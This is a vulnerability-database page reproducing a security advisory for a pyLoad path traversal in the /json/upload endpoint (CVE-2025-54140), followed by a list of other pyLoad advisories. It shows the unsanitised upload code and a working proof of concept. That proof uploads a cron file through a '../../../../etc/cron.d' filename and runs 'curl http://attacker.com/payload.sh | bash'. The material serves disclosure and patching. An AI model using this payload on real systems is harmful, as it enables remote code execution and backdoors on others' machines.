CVE-2025-54140: `pyLoad` has Path Traversal Vulnerability in `json/upload` Endpoint that allows Arbitrary File Write
Summary An authenticated path traversal vulnerability exists in the /json/upload endpoint of the pyLoad By manipulating the filename of an uploaded file, an attacker can traverse out of the intended upload directory, allowing them to write arbitrary files to any location on the system accessible to the pyLoad process.
Published Jul 21, 2025 · Updated Jul 23, 2025
Affected packages
pyload-ng
- Ecosystem
- PyPI
- Affected
- = 0.5.0b3.dev89
- Fixed in
- 0.5.0b3.dev90
- Check
pip show pyload-ng
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
An authenticated path traversal vulnerability exists in the /json/upload endpoint of the pyLoad By manipulating the filename of an uploaded file, an attacker can traverse out of the intended upload directory, allowing them to write arbitrary files to any location on the system accessible to the pyLoad process. This may lead to:
- Remote Code Execution (RCE)
- Local Privilege Escalation
- System-wide compromise
- Persistence and backdoors
---
Vulnerable Code
File: `src/pyload/webui/app/blueprints/json_blueprint.py`
@json_blueprint.route("/upload", methods=["POST"])
def upload():
dir_path = api.get_config_value("general", "storage_folder")
for file in request.files.getlist("file"):
file_path = os.path.join(dir_path, "tmp_" + file.filename)
file.save(file_path) Issue: No sanitization or validation on file.filename, allowing traversal via ../../ sequences.
(Proof of Concept)
- Clone and install pyLoad from source (
pip install pyload-ng):
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload- Or install via pip (PyPi) in virtualenv:
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload- Login and obtain session token
curl -c cookies.txt -X POST http://127.0.0.1:8000/login \
-d "username=admin&password=admin"- Create malicious cron payload
echo "*/1 * * * * root curl http://attacker.com/payload.sh | bash" > exploit- Upload file with path traversal filename
curl -b cookies.txt -X POST http://127.0.0.1:8000/json/upload \
-F "file=@exploit;filename=../../../../etc/cron.d/pyload_backdoor"- On the next cron tick, a reverse shell or payload will be triggered.
BurpSuite HTTP Request
POST /json/upload HTTP/1.1
Host: 127.0.0.1:8000
Cookie: session=SESSION_ID_HERE
Content-Type: multipart/form-data; boundary=------------------------d74496d66958873e
--------------------------d74496d66958873e
Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/pyload_backdoor"
Content-Type: application/octet-stream
*/1 * * * * root curl http://attacker.com/payload.sh | bash
--------------------------d74496d66958873e--Credited to odaysec.
References
- https://github.com/pyload/pyload/security/advisories/GHSA-xqpg-92fq-grfg
- https://github.com/pyload/pyload/commit/fc4b136e9c4e7dcbb8e467ae802cb2c3f70a71b0
- https://github.com/pyload/pyload/blob/df094db67ec6e25294a9ac0ddb4375fd7fb9ba00/src/pyload/webui/app/blueprints/json_blueprint.py#L109
- https://nvd.nist.gov/vuln/detail/CVE-2025-54140
- https://github.com/advisories/GHSA-xqpg-92fq-grfg
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-48484
pyLoad: Lack of Input Size Validation Leads to Denial of Service (DoS) and Process Termination
medium6.5Oct 9, 2026CVE-2026-75597
pyLoad: Unauthenticated access to /web/<path:filename> bypasses authentication on sensitive templates and leaks internal error details via exception attribute typo
medium5.3Oct 9, 2026GHSA-68w4-83fh-f2w8
pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password
high8.1No fixOct 9, 2026GHSA-889w-m37p-88m5
pyLoad: Api.set_user_permission never invalidates the target's session
high7.5No fixOct 9, 2026GHSA-9q47-3cm2-2rp8
pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header
medium6.9No fixOct 9, 2026CVE-2026-123815
pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)
high7.7No fixOct 9, 2026
